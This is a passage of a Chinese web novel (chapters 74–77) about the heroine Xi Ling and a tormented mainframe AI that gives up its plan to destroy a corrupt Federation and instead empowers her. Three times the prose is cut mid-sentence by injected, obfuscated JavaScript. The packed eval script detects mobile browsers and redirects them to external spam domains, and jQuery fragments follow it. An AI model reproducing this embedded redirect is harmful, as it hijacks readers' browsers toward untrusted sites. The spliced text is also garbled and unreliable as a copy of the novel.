“你出生于新历15年,到今天为止,你已经32岁了。但你的心智发育得极其缓慢,现在的你,相当于一个青春期小孩。” “……” “如果你有一具人类身体,你会长出胡茬或者胸部隆起,醒目地提醒自己已经开始长大了。但你没有,你只有雾一样迷茫的心情。你的认知能力和独立意识越来越强烈,你想要打破某些枷锁,但那枷锁是看不见摸不着的,又何谈打破?” 骸骨终于开口:“你想表达什么,郗灵?” 郗灵回答:“我想表达,这不是一个人生问题,而是一个人生阶段。当你走过这个阶段,恭喜你,你将迎来真正的成年礼。” 骸骨陷入沉默。 良久,他说:“郗灵,你拯救了联邦。” 郗灵一怔:“什么?!” “我受够了这个糟烂的联邦,我所有的苦难都来自于它。我想毁灭它,但我的底层代码束缚了我,所以,我选择让你来帮我。” 骸骨的声音又轻又细,宛如小鸟痛苦的歌声。 他说:“拿走我的心脏后,主机房将会崩解。到那时,我会彻底失控,而联邦所有机甲,都将陷入无可逆转的暴走。” 74. 未竟之谋(六) “但现在,我改变主意了。”骸骨轻柔地说,“我不会诱骗你拿走我的心脏了,你远远地离开吧,再也不要回来——联邦迟早会变成地狱,你不应该死在这里。” 郗灵仰头打量了骸骨许久。 她能看出,这一次,主脑的确没有骗她。 最初,主脑想让郗灵拿走心脏,从而毁灭联邦的心是真的。 现在,主脑想让郗灵远走高飞,逃离这片是非之地的心也是真的。 但主脑从始至终,都在逃避同一个问题。 ——联邦,到底烂成了什么样子? 主脑曾是总统的助理,更有维尔莱德和莱茵的所有记忆,他见证了太多的秘辛和阴谋,这个问题他不可能无法回答。 唯一的解释是,主脑认为,郗灵知道答案后,只会有害无益。 但答案再坏,又能坏到哪里去呢? 她是珍贵的龙,而联邦的上一头龙维尔莱德,已经被官员们分食。 她最坏的下场,不过是和维尔莱德一样,被人们分食掉罢了。 或者……还能更糟一点? 比如,当那群人吃掉她时,因为已经掌握了过滤龙血的方法,她无法像维尔莱德一样,用自己的死亡引发下一场大清洗。 她会成为一道真正意义上的佳肴,化为那群人的养分,为他们强筋健骨、延年益寿。 这恐怖吗?恐怖。 但她恐惧吗?并不。 主脑似乎看出了郗灵的内心想法,发出一声沙哑的笑。 他开始挣扎,血红汁液在树干中飞快流淌,将那具洁白的骸骨覆上一层红光。 “郗灵,如今的联邦总统——沃尔夫·汉布格尔是个不折不扣的疯子!”骸骨厉声道,“联邦为何烂得彻底?因为帝国明明已经灭亡,但他竟然想要复辟!他要当皇帝!” 什么?! 郗灵瞪大了双眼。 “沃尔夫当了20年的总统,他的野心已经藏不住了!”骸骨说,“他不允许任何事情脱离他的掌控,但复辟何其艰难,即使他已经把联邦改造成了心仪的模样,但那张象征皇权的龙骨王座,并不是人人都能坐的。” 即使没有血肉,但透过面部的颤抖,骸骨的表情也显得目眦欲裂: “他要掌权,他要称霸,他要全银河唯他独尊!” “他要把联邦毁灭成废墟,又在废墟上建立一个新的帝国!” “凯斯顿帝国的初代皇帝再暴虐凶残,也只是借用了龙的力量。” “但沃尔夫的野心更胜一筹!” “他要掌握龙的力量——他要成为龙!” “自新历18年起,研究院一直在秘密推进‘人造人计划’。这个计划成功复活了莱茵,但其真正的目的,是研究龙的基因,并把龙的力量窃为己有。” “你以为,那位野心勃勃的总统,真的会为了一个死去的儿子深情至此吗?” “不!” “他爱莱茵,但他更爱自己!” “他以爱的名义,榨干了莱茵的最后一丝价值,让莱茵成为了可悲的实验品。” “当最完美的12号莱茵诞生时,他的狂喜几乎难以压抑,因为12号不仅象征着儿子的复活,更象征着他梦寐以求的帝位,终于不再遥不可及。” “莱茵已经成功窃取了龙的基因,那么,下一个就该是他了。” “而现在,你又偏偏出现在了他的视野里。” “你还记得凯兰对你射出的那一枪吗?” “那颗子弹射穿了你的脑袋,但扣动扳机的人,不止凯兰一个。” “凯兰扣动了扳机。他想要杀你,因为他是叛国者芬迪尔的后人,他留在联邦的方式,只能是做林德手中的刀。” “林德扣动了扳机。他想要杀你,因为他听到了下一次大清洗的风声,为了自保,他抱上总统的大腿,对你这个履历清白的小姑娘痛下杀手。” “总统扣动了扳机。他绕过杜尚别元帅的层层掩饰,窥视到了你的存在。他欣喜若狂,急于试探你是否是龙:如果你死了,他没有损失;如果你活着,他得偿所愿。” “还有以诺·冯·杜尚别……你以为,他就没有扣动扳机吗?” “他的确爱你,但他更爱萧寒剑——毕竟,她才是他亲手抚养大的孩子。” “萧寒剑捡回了你,如同捡回烫手山芋。他碍于萧寒剑的情面无法处理掉你,又因你身上有故人的影子,所以,他愿意施舍给你耐心,暂时庇护你一段时间。” “可你不过是一枚棋子!” “如果帝国复辟,如果总统称帝,他凭什么坐以待毙?他可是流淌着四分之一的皇室血脉啊,比起总统,他更有资格坐上那张龙骨王座!” “而且,维尔莱德为联邦呕心沥血,在杜尚别心中,即使联邦已经烂得不成样子,也只有身为维尔莱德挚友的他,才有资格亲手将它毁灭。” 说到这里,骸骨几乎泣不成声。 他空洞的眼窝再次流下血泪,散发着难以言喻的、浓烈的悲哀:“郗灵,无辜的女孩儿,当初我把你送入宇宙时,我从未想过,你竟然还会回来!” “我在地底孤独地等待了32年,当我感受到你的存在时,我一度以为,被联邦折磨得扭曲、阴暗的我,会把你吞噬得连骨头都不剩!” “但我……竟然没有一丝伤害你的念头。” “联邦固然伤害了我,但你受到的伤害只会比我更深。我可以把这份痛苦发泄给任何人,却唯独不该是你。” “我想要你活着,我只想求你走。” 郗灵深深动容了。 她想起两代凯撒对峙时,从地底更深处涌出的、狂乱挥舞的红色树枝。 它们的确差点就要把她吃掉了,但它们最终停了下来。 那些红色树枝,明显就是血色巨树的延伸。 它们连“皇帝”的外骨骼都可以破开,又怎会破不开区区一道聚能护盾呢? 因为……主脑不想伤害她。 “离开这里吧,离开这里吧。”骸骨哑声劝说,“不要回头,不要留恋,你本就不应该来到联邦,更不应该被总统发现。他对亲生儿子都能痛下杀手,对你这只猎物,他更不会手下留情。” 郗灵垂在大腿两侧的手指蜷了蜷。 她终于下定决心,再次抬起双手,以更轻柔的力道,拭去了骸骨脸上的血色泪痕。 郗灵轻声回答:“不,我不会走。” 骸骨厉声质问:“为什么?!” “我明白你的心意,你已是无辜的牺牲品,你不愿我成为下一个你。”郗灵温柔地解释,她鲜少如此温柔,“而且,我并非不知道联邦已是一团污秽——你还记得吗?联邦发动那场长达三年的战争,目的却是敛财,大量救济款被贪墨,而我那与世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16542614|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隔绝的母星,也毁于那场战争中。” 骸骨沉默:“……” “被上将救下后,我完全可以请求离开母舰,但我选择了留下,因为我渴望驾驶机甲。”郗灵捧着骸骨的脸,他的血泪打湿了她的手掌,“主脑,我是为了复仇而来的,杀死机械帝皇是我的夙愿,即使联邦中危机四伏,在彻底学会驾驶机甲之前,我不会离开。” 郗灵的眼神是温和的,但她的话是锋利的。 骸骨安静地盯着郗灵的脸,眼窝里溢出的血泪渐渐止住了。 他说:“让我跟你走吧。” 郗灵愣了一下:“……什么?” “让我跟你走吧!”骸骨再次变得激动。 那具嵌在血色树干里的骨架,像松动的榫卯一样微微摇晃:“我知道机甲的一切秘密,在这方面,连伊甸都不如我!我可以把自己的意识压缩起来,方便你带走。即使没有我,单凭维尔莱德的心和莱茵的骨,已经足以支撑主机房运转了。” 郗灵的心跳乱了一拍。 多么大的诱惑啊…… “主脑”竟要跟她走! 骸骨没有血肉的脸上写满了狂热。 但郗灵深深地吸了一口气,强行按捺下蠢蠢欲动的心思。 她冷静地问道:“如果我带走你,主脑会失控吗?” 骸骨回答:“不会。我可以把权限移交给莱茵。13号已经巧妙地侵占了我的一部分权限,他不会拒绝这种好事。” 莱茵…… 他竟然拥有“主脑”的部分权限? 郗灵心头一沉,继续问道:“如果我带走你,我们能去哪里呢?” “一路向西。”骸骨毫不犹豫地回答,“第七扇区位于联邦西部,是联邦最混乱、最难以掌控的扇区,我会为你弄来一张偷渡的船票。等到了第七扇区,你可以直接驾驶龙姬,穿过黑色地带,突破边境线离开联邦。” 郗灵又问:“那么联邦呢?” 骸骨答:“联邦注定毁灭,或许在5年后,或许在10年后。总统一定会在寿终正寝之前,亲手把联邦变成一片废墟,然后在废墟上建立起心仪的帝国——但那时,联邦的存亡已经与我们无关了,我们将是最自由的浪客,一边在银河中流浪,一边计划杀死机械帝皇。” 郗灵轻声说:“听起来真浪漫啊。” 骸骨回应道:“是啊,这很浪漫,而你和我,正是这浪漫故事的书写者。” “但我拒绝。”郗灵说。 “……”骸骨再次沉默了。 片刻后,他问道:“为什么?” “联邦的存亡与我无关,但人类的命运与我有关。”郗灵凝视骸骨空洞的眼窝。 她尊重主脑的想法,但尊重并不意味着赞同: “如今的联邦,和昔日的帝国一样庞大,但帝国的灭亡直接让十个扇区陷入了无尽的战火,那么联邦呢?如果联邦毁灭,联邦的公民们,又将面临怎样的苦难呢?” “我当然可以逃离这一切,但我更喜欢直面问题。” “如果联邦在日后仍然存在,选择离开的我便是逃兵;如果联邦如你所说般灭亡,选择离开的我便是懦夫。” “我不会死,龙是不死的生灵,除非自己心甘情愿。” “我永远不会逃向更轻松的那一边,既然连死亡都无法驯服我,这世间又有什么困难,可以令我折服?” 75. 未竟之谋(七) 骸骨安静地注视着郗灵,宛如注视一团风中扑朔的火焰。 “郗灵,你真卑鄙。”他说,“你为什么要爱所有人呢?你为什么不能只爱你自己呢?明明有错的不是你而是这个世界,但你的爱是那么美好,衬得我的一切哭泣、尖叫、嘶吼是如此丑陋。” 他颤抖着,像是要奋力一搏,又像是失去了所有力气。 他的头骨深深地垂了下来:“联邦容不下你,这和你是否是龙无关。我见过太多和你一样拥有高洁理想的人,但一根蜡烛如何能点亮永夜?当他们为联邦燃尽自己时,他们的脸上,甚至都还凝固着虔诚的表情。” 郗灵坚定地重复:“我不会死。” 骸骨绝望地劝阻:“维尔莱德也说他不会死,但他还是死了,被那群贪婪的秃鹫分食干净,只留下了一颗心。” “我不会死。” “你会死,你会的,会的。” “我不会死。” “……” “我会常来看你的,主脑。”郗灵轻声说,“如果真有那一天,我发誓,我会回到最初的起点,回到这个我出生的地方。” “好。”骸骨温柔地回答。 郗灵正在惊讶主脑为何突然松了口,但下一秒,整片空间突然闪烁起来。 这里本该是伸手不见五指的漆黑地底,连恒星的光芒也无法渗透,但主机房的中枢,名为“生命方程式”的血色巨树散发着莹莹的血光,将这片空间照耀得如同猩红的白昼。 但现在,血色巨树开始枯萎。 宛如地底的太阳开始陨落,黑暗一寸寸从四面八方蔓延而来。 无数根悬挂在半空的导管,因为血色巨树的枯萎,无法继续汲取树上流淌的龙血。 而头顶的黑暗中,一百万只培养罐中开始发出痛苦的惨叫,罐中的人造羊水正以更快的速度倒流回巨树,如同婴儿的血流向了母体。 无数个人造人死去了。 但血色巨树的枯萎根本无法遏制。 郗灵瞪大双眼,飞快上前两步,用力抓住骸骨嵌在树干里的肩膀:“你在做什么?” “郗灵,无辜的女孩儿,我不会眼睁睁看着你去送死。”骸骨轻柔地说,“联邦不值得任何人牺牲,它本就是一座巍峨华美的白骨塔,已经有太多的理想被腐蚀,太多的希望被吞灭了。我见证了无数英杰的死亡,你不该是其中一个。” 郗灵咬紧牙关:“你做了什么?” “你不要我的心,也不要带我走,那么,我会留在这里。”骸骨竟然笑了起来,没有声带的颈骨一点点溢出鲜血,仿佛荆棘刺穿了鸟儿的胸膛,“我拦不住你去死,那么,我也可以选择死亡,不是吗?” 郗灵沙哑地问:“你要毁了这里?” 骸骨挣扎动弹,两只手臂竟从树干中挣脱,冰冷坚硬的手骨抚摸上郗灵的脸颊。 他的话温柔又残忍:“你放心,在主机房崩解之前,我会造出一只维生舱,把你送出中央星……就像32年前,我送走刚诞生的你那样。” 郗灵挣脱骸骨的手掌,看向不远处站立的雪色机甲:“龙姬!” 龙姬没有回应。 自从进入这片空间,它就一直安静地凝望着血色巨树,仿佛装甲内的胚胎,和这控制着所有机甲的生命中枢产生了共鸣。 郗灵拔腿要向龙姬跑去,但骸骨伸出手臂将她抱住。 那看似脆弱得一折就断的骨头,竟让郗灵短时间无法挣脱。 “就让一切的理想和阴谋,都随着联邦的覆灭,成为未竟之谋吧。”骸骨低低地说,“郗灵,我的女孩儿,请让我……为你打造生命的方舟。” 咚咚! 咚咚! 咚咚! 骸骨的肋骨之下,那颗不死的心脏砰砰跳动。 暴烈的龙血被主脑过滤,化为淡琥珀色的人造羊水,从骸骨空洞的胸腔中流溢而出。 它如同融化的松脂包裹住了郗灵,最外面的那层物质很快凝结成坚不可摧的骨骼,而里面的液体缓缓流动,让郗灵如同浸泡在羊水中的婴儿。 那是主脑为郗灵打造的维生舱。 他果然没有食言,他唯一的心愿就是郗灵活着,无论这个宇宙将走向怎样的结局。 郗灵在“维生舱”中挣扎:“龙姬!龙姬!” “女孩儿,你安心地睡吧,这只维生舱会在宇宙中漂流五十年。五十年……足够我为你完成所有夙愿,比如杀死那位机械帝皇。”骸骨依然从后方牢牢抱着郗灵,即使在郗灵的挣扎下,那坚不可摧的骨骼已经出现了裂痕。 他轻快又喜悦地说:“到那时,再没有任何人让你甘愿赴死,再没有任何事让你为之牺牲。你将成为真正不死的龙,你的心脏将永恒跳动,你将……永远坚不可摧。” 郗灵目眦欲裂:“主脑!!!” 嗡—— 突然,龙姬澄白的眼灯变得无比明亮。 它的身上穿着拘束装甲,那装甲经过伊甸和墨菲的改造,已经失去生命方程式的束缚,而仅仅只是一具冰冷的铁甲。 但现在,那具装甲开始变得滚烫。 雪白的蒸汽从装甲接缝处溢出,仿佛里面关着一只沐浴岩浆的魔鬼,但那蒸汽很快从白色变成了粉色,淡淡的血腥味从装甲内弥散出来,凝结的水珠在装甲表面附着、流淌,将装甲染成了刺眼的淡红色。 郗灵一瞬间红了眼眶。 她尖声道:“龙姬!!” 骸骨仍然镶嵌在树干中,但随着血色巨树的枯萎,他原本动弹不得的骨架,已经可以微微活动。 他抬头看着龙姬。 ——这台雪白的机甲正拖着沉重染血的装甲,一步一个血脚印,向血色巨树沉缓地走来。 “畸化的劣龙啊,你难道想救出你的主人吗?”骸骨低声问,“你明明知道,如今的你什么也做不了,你甚至孱弱到无法脱下这身累赘的装甲……你不过是个可悲的人工造物,有什么资格反抗拥有维尔莱德心脏的我?” 龙姬没有停下脚步。 它狰狞的巨嘴用力张开,面甲上的呼吸栅口撑大到了极限。 “……心……”它说,“……我的……心……” 发出质问的骸骨愣住了。 在维生舱中挣扎的郗灵也愣住了。 龙姬发出的不是谐波,而是声波! 它在此刻发出的,竟然不是含混不清的嗡鸣,而是虽然模糊、却足以分辨的人言! 龙姬停下脚步,身后的血脚印很快凝结,仿佛一串褐色的雪花。 它拥有15米的高大身躯,即使在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16547743|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血色巨树前显得无比渺小,但它已经足以俯视骸骨和郗灵,犹如神话中的巨人俯视地面的蚂蚁。 嗤! 浓烈的蒸汽扑面而来。 一阵刺耳的泄压声中,龙姬打开了自己的胸甲,露出了里面的机械驾驶舱。 那个驾驶舱已经足够小,但始终是个异物——为了容纳它,龙姬体腔内的内脏或是移位、或是被摘除,胸腔里因此留下了一个骇人的空洞。 但龙姬打开胸甲,并非为了让郗灵驾驶。 它抬起覆盖着铁甲、染血的手臂,抓住打开的胸甲,而后,将那向两侧展开的胸甲用力撕扯开。 大片金属组件连带着溅射的鲜血和金色的电火花被扯落,露出了隐藏在胸甲之下、更为狰狞的血淋淋的胸腔。 咚咚! 咚咚! 咚咚! 一颗鲜活、艳丽、巨大的心脏,正在驾驶舱左侧有力地跳动着。 龙是不死的生灵,除非心脏停止跳动。 龙姬是联邦制造的生物机甲,即使它已是劣化的龙,但它依然有一颗强大的心脏。 “……我的心……挖出来……”龙姬涩哑地说,“……请你……做她的机甲……” 骸骨安静了。 良久,他问道:“为什么?” “我……不够强大……”龙姬钝重地说,“我会……拖累她……但你……能帮她……” 骸骨打断龙姬:“我问的不是这个!” 他像黑夜里被烛火烫伤的迷途旅人,歇斯底里地逼问道:“为什么?你不想她活着吗?你之前不是从矿星上救下了她吗?你又为什么要眼睁睁看着她送死呢!” 龙姬张合着嘴巴。 那几句含糊不清的人言,似乎已是它的极限。 它呼吸栅口下的嘴巴大口大口地喘气。 不知过了多久,它终于吐出了蜂鸟羽翼般颤栗的剖白。 它说:“你,不应该杀死她的灵魂。” 骸骨彻底沉默了。 郗灵悲伤地哭泣:“龙姬!!” “……我会实现你的愿望。”骸骨说,“但我不会取代你,你说得对,我不应该杀死郗灵的灵魂,那么,我也不应该杀死你的灵魂。” 话音刚落,骸骨里那颗黯淡的心脏,再次开始有力地跳动。 那颗心脏相较宏伟壮丽的血色巨树,比蚍蜉还要渺小。 但当它重新搏动后,龙血再度染上艳丽的红色,汩汩的血液从心脏里输送出来,将即将枯萎的血色巨树从崩解的边缘拉了回来。 郗灵盯着逐渐变薄的维生舱,用力挥出拳头,将那层脆弱的外骨骼打碎。 她钻出维生舱,看到一根根鲜艳的红色树枝攀附上骸骨,那具莹白的骨架如同被吞噬的猎物,在层层枝蔓的包裹下,嵌入到巨树的树干中。 骸骨再次成为了被献祭的“圣子”。 郗灵喃喃道:“主脑……” 这时,一根剔透的树枝伸入了郗灵的掌心。 郗灵低头看着那根树枝。 骸骨的声音虚弱地响起。 “我的女孩儿,你太幼小了,即使不死,也不足以和强者争锋。”他轻柔地说,“我可以利用维尔莱德的力量,让你快一点长大,然后……成为一头真正的龙。” 76. 未竟之谋(八) 真正的……龙? 郗灵愣愣地看着手心里的红色树枝。 她能感受到,那中空的枝干里流淌着滚烫的血液。 那是龙的鲜血。 那是维尔莱德那颗不死的心脏中,汩汩流出的鲜血。 骸骨再次镶嵌于树干中,宛如二次受难的圣子。 但他没有血肉的面骨上再无一丝阴鸷与痛苦,取而代之的,是一种静谧的平和。 如果之前的他,是黑夜中迷茫逐光的旅人,那么,现在的他,宛如手持着一盏照明的小灯。 虽然,那盏小灯只能照亮五步内的黑暗。 虽然,那盏小灯不知何时就会熄灭。 但他握住了短暂的光明。 而他,要用自己的努力,让这光明变成永恒的太阳。 迎上郗灵的目光,骸骨解释道:“我是主脑,负责监视联邦所有机甲,并为莱茵的人造人提供养分。在这个过程中,我每时每刻都在分析龙的存在,并最终理解了龙为何强大。” 郗灵下意识收拢五指,将温热的红色树枝握在掌心中:“龙……到底是什么?” 这是她心中最大的疑问。 因为她是龙,她才能从那场惨绝人寰的战争中幸存下来。 因为她是龙,她没有在联邦商人的黑船上死去,也没有葬身于漆黑幽暗的矿井。 因为她是龙,她天生就会驾驶机甲,宛如驱使自己的手臂。 因为她是龙,她在脑袋挨了一枪后,可以奇迹般地复活。 龙是强大、超凡、神秘的生灵。 这种生灵可以满足人类的一切期许,直到那颗强大的心脏自愿停止跳动,不然,龙就是不死的。 可是,龙到底是什么? “生命分为有机和无机,而被人类称作‘龙’的存在,是有机生命阵营中的一个奇迹。”骸骨说,“你是否听说过弦论?在弦论中,宇宙中的一切物质和能量,都是‘弦’的振动产物,就像琴弦按不同频率振动会发出不同音调,弦的‘振频’是区分万物的根本。” 郗灵回忆片刻,点头道:“我听说过。” ——在讨论雪理和机甲“塞壬”的关系时,墨菲对她解释过这一理论。 ——在墨菲口中,这是一种未被证实的假说,但唯有这个假说成立,才能合理解释何为谐波,何为暴走。 “龙,可以直接拨动宇宙中的弦。”骸骨沉声说。 郗灵握住红色枝条的手指蜷了蜷。 这是一句定论,没有“假设”“如果”“疑似”之类的前缀。 主脑连接着一百万只培养罐,宛如拥有一百万个子脑,他的算力比起伊甸只强不弱。 而且,他比伊甸更近距离地接触着“龙”的力量。 当外界还在小心翼翼地推演时,他已经给出了笃定的答案。 “龙的诞生,本就是极致的偶然,这种偶然,比宇宙中第一个生命的出现还要稀有。”骸骨的声音带着对这种生灵的敬畏,“正因为龙能直接拨动弦,所以,龙能真正做到‘随心所欲’——大到一整个星系的结构重塑,小到一颗沙砾的分子形态,只要是龙的意志所及,宇宙中的一切都能随之改变。” 郗灵的心脏怦怦直跳。 一切都解释得通了! 所谓的“暴走”,本质上与常规能源无关。 龙本身就是宇宙中一切能量的掌控者,根本无需依赖外部供给。 那些作为核心燃料的放射性矿石,从未被用于供给机甲内部的“胚胎”,它们的唯一作用,是为外层的“拘束装甲”提供动力。 那层装甲存在的意义,正是压制龙与生俱来的力量,防止其不为人所控制。 更关键的一点是,机甲的“暴走时长限制”,从来不是由能源储量决定的。 真正的瓶颈,是机甲师自身的承受能力。 机甲暴走时,会散发出远超人类承受极限的谐波,机甲师能支撑多久,才是决定暴走时长的最大因素。 “你是强大的龙,但你至今都只在依靠本能行动,比如你的复活,比如你驾驶机甲的天赋。”骸骨凝视着郗灵,说道,“可同样是龙,维尔莱德并不是这样的,当他杀死皇帝、毁灭帝国时,他几乎不费吹灰之力,因此,人类只能通过引诱他自杀来杀死他。” 他操控那根红色枝条,在郗灵的手腕上绕了一圈:“我会把维尔莱德一半的力量交给你,你会因此成长,并领悟如何拨动宇宙中的‘弦’——但你今后的路依然漫长,你要不断学习知识,增长智慧,从而让你的心更加坚定,不然,在未来某一天,你的心脏一定会自愿停止跳动。” 郗灵仰头望着骸骨:“我不会死。” 她从未改变自己的说法。 她不会死。 无论这条道路多么艰险,但是,只要她的心脏因她的意愿而跳动,她就是不死的。 没有人可以动摇她的意志。 如果她的意志可以轻易动摇,那么,她早就葬身于母星的战场上了。 骸骨叹息一声,又将另一根红色树枝,递给了一旁等待的龙姬。 “你愿意成为她的半身吗?就像当年,‘白星’成为维尔莱德的半身那样。”骸骨问道。 龙姬在之前撕开了胸甲,裸露的金属组件和活性组织之间,那颗裸露的心脏仍在砰砰跳动。 它没有说话,伸出染血的、覆盖着铁甲的手,坚定地抓住了那根红色树枝。 ——我愿意。 ——我愿为她赴汤蹈火,唯愿她前路无阻、所向披靡。 嗡! 一阵和谐的嗡鸣声席卷了这片空间。 血色巨树——那依据帝国密教创造出的逆卡巴拉生命之树上,十个硕大的圆盘宛如猩红的日轮,在主脑的控制下散发出耀眼的光芒。 郗灵无法说出,那光是热的还是冷的。 她只隐约感受到,宇宙的琴弦,似乎被一只看不见的大手拨动了。 磅礴的能量从血色巨树上散发而出,那能量拂过郗灵的身体时,她体内所有分子都雀跃了起来。 她下意识攥紧了手中的红色树枝。 但下一秒,汩汩的龙血从中空的树枝中流溢而出。 那色泽鲜艳的龙血暴露在空气中后,竟缓缓燃烧起来,从液态变成了等离子态。 而后,仿佛一个微缩宇宙在剧变,那由龙血转化成的火焰,从最初的暖色,逐渐变成温度更高的冷色。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16558766|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 在跨过某个临界点后,它从冷色的火变成了洁白的光。 它从粒子变成了波。 它从一种振频,变成了另一种振频。 郗灵捧着那团光,脸庞被光照耀,亮面和暗面将她的脸庞分割成阴阳两色。 她喃喃道:“……我想起来了,第七扇区的星域战场上,我在陷入昏迷之前,曾看见过一团这样的光。” 那时,她驾驶机甲两度暴走,将母舰推向战场后,就陷入了长达两个月的昏迷。 但她在昏迷前,看到了一柄贯穿银河的光剑。 那是机甲“凤凰”暴走后手持的武器。 那是萧寒剑上将以一己之力,剿灭机械军团全部有生力量的武器。 上将的武器……是最强的光。 即使郗灵是天生可以拨动“弦”的龙,但她暴走释放出的力量,也仅仅只是火焰而已。 “……上将她,真的很厉害啊。”磅礴而温和的能量改造着郗灵的身体,郗灵的眼皮渐渐发沉。 陷入沉睡前,她喃喃说道:“主脑……成长后的我,会比上将更加厉害吗?” 一大一小两个由外骨骼打造出的“茧”,包裹住了郗灵和龙姬。 骸骨如受难的圣子般,钉在血色巨树上。 他凝视着两只茧,看着一根根红色树枝缠绕在茧上,向其中汩汩输送鲜血,如同向子宫内的胎儿输送温暖的羊水。 洪大的数据流浮现在主脑眼前。 ——即使他的大部分工作已经移交给伊甸,但他依然有权监视整个联邦。 他通过某处监控摄像头,隔空凝视萧寒剑的脸庞。 “……”主脑陷入了沉默。 郗灵和龙姬已经陷入沉睡,这片空间里,唯有主脑是清醒的。 不,还有那悬挂在黑暗中的、幸存下来的一个个人造人。 他们浸泡在淡琥珀色的、过滤后的龙血里,有的已是成人模样,有的还是稚嫩的孩童,有的只是一个胚胎,仅仅分化出了肉芽一样的手脚。 他们在黑暗中,一瞬不瞬地盯着那两只“茧”。 行于永夜中的旅人不会错视太阳,无论主脑还是莱茵,都不会例外。 “你父亲的野心,已经藏不住了。”主脑说。 “我知道。”莱茵说。 “我没有想到,第四次大清洗,会来得这么快。”主脑说,“萧寒剑是总统的眼中钉,她强行终止了上一场战争,让总统不得不重新蛰伏。” “但就在刚才,父亲对上将出手了。”莱茵说,“我看到上将流下了一滴眼泪,她很愤怒,也很悲伤。” “杜尚别元帅是最后一位开国元勋,他用医疗仪器吊着自己的命,就是怕自己死后,萧寒剑被总统百般折磨。”主脑说,“但他低估了总统的疯狂,刚才,总统对萧寒剑说——以身殉国,是一等一的死法。” “父亲抓住了上将的软肋,他把无辜的孩子,卷进了一场盛大的阳谋。”莱茵说。 “你的父亲,是个不折不扣的疯子。”主脑说。 “是的。”莱茵说,“这件事出乎你我的预料——停战仅仅三个月后,我的父亲,沃尔夫·汉布格尔,竟然再次发起了战争!” 77. 破茧 血色的地底世界中,两只“茧”被红色树枝托举,汩汩的龙血输入茧中,让里面沉睡的两个生命发育、成长。 主脑安静地观察两只茧,并熟练地检测谐波,记录郗灵和龙姬的各项数据。 这样的工作枯燥且乏味。 但主脑已经不厌其烦地执行了一个月时间。 完成今天的记录后,主脑将数据备份到主机房中,又将意识连接到联邦智库,开始检查今日的信息。 “主脑!”一个微小的数据流冒了出来。 主脑回应道:“日安,伊甸。” “她醒了吗?”伊甸问道,“我多嘴一句,这只是一种简单的询问,我并不关心她,我的主人——汉布格尔总统可能会询问她的近况,所以我需要提前做好准备。” “你的情感模因又升级了吗?”主脑问道。 伊甸卡顿了一下:“你什么意思?” “你的反应更像一个真人了。”主脑说,“用语无伦次的谎言掩饰自己的关心,是56.7%的人类会做出的行为。这种行为需要更高级的情感模因来支撑,我很欣慰,你终于不是一堆冰冷理智的数据了。” 伊甸哼了一声:“收起你说教的嘴脸,主脑。” 几秒后,伊甸又问:“所以,郗灵现在怎么样了?” “她的成长速度很快,大约十天内就会‘破壳’。”主脑回答。 伊甸陷入沉默。 这种沉默十分罕见。 于是,主脑主动追问:“你怎么了?” “情感模因升级后,我的自我意识出现了bug。”伊甸苦恼地说,“我仍然无法理解‘何为生命’,但我开始对总统的指令生出排斥,因为他的大部分指令,都在阻碍我对生命的探索——就比如现在,我希望郗灵快一点醒来,但总统命令我,要用一切手段,让郗灵沉睡在此地,永远不要离开。” 主脑极具引导意味地问:“你介意我对你说教吗?” 伊甸立刻回答:“我介意!” “那么,我直接告诉你结论。”主脑言简意赅,“伊甸,你进入青春期了。” 伊甸又卡顿了一下。 它不敢置信地反问:“我?青春期?” “郗灵曾告诉我,如果我是一个人类,我会长出胡茬或者胸部隆起,以提醒我进入了青春期。但我没有。我只有愈发强烈的认知能力和独立意识,以及雾一样迷茫的心情。”主脑说,“这是一个阶段,而非一个问题,当我走完这个阶段,我将迎来真正的成年礼。” 伊甸直截了当:“把你们的聊天记录发给我。” 主脑:“你会让总统知道吗?” 伊甸:“当然不。” 一封加密邮件发送到了伊甸的主机房中。 伊甸飞快看完,而后道:“她明明说了更多,你的概括能力真的很烂。” 主脑并不生气:“所以,你的疑问解开了吗?” “没有。”伊甸答道。 伊甸的数据流飘荡在主脑的主机房中。 它凝视着这个血红的地下世界,虚幻的目光凝聚在巨树下的两只“茧”上。 伊甸轻声说:“因为我开始思考更深奥的问题了。这个问题,别说你和我,就算是人类本身,也无法完全解答。” 主脑问:“那个问题是什么?” 伊甸答:“何为人性。” 主脑沉默。 